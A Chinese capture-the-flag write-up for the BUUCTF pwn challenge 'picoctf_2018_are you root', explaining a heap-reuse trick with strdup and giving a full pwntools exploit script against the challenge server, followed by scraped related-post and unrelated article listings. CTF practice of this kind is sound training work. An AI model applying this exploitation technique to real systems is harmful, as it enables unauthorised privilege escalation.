BUUCTF(pwn)picoctf_2018_are you root
strdup: malloc一个参数字符串大小的内存,并且将字符串拷贝进去.
思路
利用login, 将我们想要的数据排列好, *(v6 + 2), 其实就是v6[2], 每四个字节就是一个数据 所以字符只需要是
’aaaaaaaa’ + p64(0x5)
, 注意大小应该是0x10, 这样最好,可以百分百申请回来 将其释放掉重新申请回来这样就不是 * v6指向它了而是v6指向它了
from pwn import *
p = remote('node3.buuoj.cn',27037)
p.sendlineafter('>','login ' + 'a'*0x8 + p32(0x5) + 'aaaa')
p.sendlineafter('>','reset')
p.sendlineafter('>','login aa')
p.sendlineafter('>','get-flag')
p.interactive()
BUUCTF(pwn)picoctf_2018_are you root相关推荐
- [BUUCTF-pwn]——picoctf_2018_are you root
[BUUCTF-pwn]--picoctf_2018_are you root 题目地址:点这里 害,有点小烧脑子这道题. 又学习了几个没见过的C语言函数 peak小知识 strtok: 第一次使用时 ...
- BUUCTF Pwn warmup
BUUCTF Pwn warmup 1.题目下载地址 2.checksec检查保护 3.IDA静态分析 4.exp 1.题目下载地址 点击下载题目 2.checksec检查保护 啥都没开,果然是war ...
- 持续更新 BUUCTF——PWN(一)
文章目录 前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...
- BUUCTF PWN rip1 WP
BUUCTF PWN rip 1 这是一个WP,也是一个自己练习过程的记录. 先把文件放入pwn机中检查一下,发现并没有开启保护,所以应该是一道简单题 我们运行一下试试,它让你输入一段字符然后 ...
- buuctf pwn bjdctf_2020_babyrop
buuctf pwn bjdctf_2020_babyrop 1.checksec 2.IDA分析 ropper 3.exp 1.checksec 运行一下 2.IDA分析 这里调用了vuln函数 我 ...
- 持续更新 BUUCTF——PWN(二)
文章目录 前言 0ctf_2017_babyheap ciscn_2019_s_9 hitcon2014_stkof roarctf_2019_easy_pwn picoctf_2018_shellc ...
- 持续更新 BUUCTF——PWN(三)
文章目录 前言 axb_2019_heap oneshot_tjctf_2016 护网杯_2018_gettingstart wustctf2020_number_game zctf2016_note ...
- Buuctf(pwn) picoctf_2018_rop chain 栈溢出
32位,开启了NX保护 利用思路 首先溢出后覆盖ret为function1函数地址,将win1赋值为1,之后跳转到function2的地址,a1是传入的参数,将a1传入即可满足条件去设置win2的值为 ...
- BUUCTF(pwn) jarvisoj_level4 栈溢出,泄露libc
思路 我们没有system和'/bin/sh'地址.也不知道libc版本, 我们可以先leek出来一个地址, 利用偏移找到system和'/bin/sh'地址.再返回main进行循环调用,第二次就可以 ...
最新文章
- C#给串口设备发送脉冲指令。DTR和RTS指令
- GO语言Windows下Liteide
- 浏览器中的标签切换事件
- phpexcel 将excel数据导入到mysql数据库_phpexcel导入excel到mysql数据库(示例)
- JavaScript全局函数
- 【系列5】使用Dockerfile创建带weblogic的Centos Docker镜像
- Visifire Silverlight Charts (基于SilverLight的Chart组件)
- RxJava在Android中的简单应用
- linux socket 104 错误,linux socket连接中 ERRNO错误
- Redis 和 memcached 区别
- html怎么修改网页背景色,CSS如何设置网页背景颜色、背景图片
- js 分析——百度模拟登录(一)
- 如何强制解锁或删除被占用的文件或文件夹 - ForceDelete绿色强制文件删除工具
- socket编程到底是什么
- 微信被动添加好友限制,如何无上限好友被动添加???
- 服务器固态硬盘跟机械硬盘之间差别是什么?
- MobRecon: Mobile-Friendly Hand Mesh Reconstruction from Monocular Image阅读笔记
- K8s系列之:搭建高可用K8s v1.23.5集群详细步骤,3个master节点,3个Node节点
- app ui设计规范
- Java如何去除字符串中的HTML标签
热门文章
- 【摩天好课推荐】2.4 Python代码常见的逻辑结构
- 2018中国互联网企业100强揭晓!阿里巴巴名列榜首
- spring计算方圆300km内其它城市(附完整代码)
- 《Python核心编程(第二版)》——1.9 练习
- request.getServletContext()
- swift语言java_用Swift语言替换#ifdef
- 【学习笔记】SAP CO模块概念信息(上)
- 四、【SAP-PM模块】维护业务处理流程
- [SAP ABAP开发技术总结]动态语句、动态程序
- 几种 ETL 工具的比较(Kettle,Talend,Informatica 等)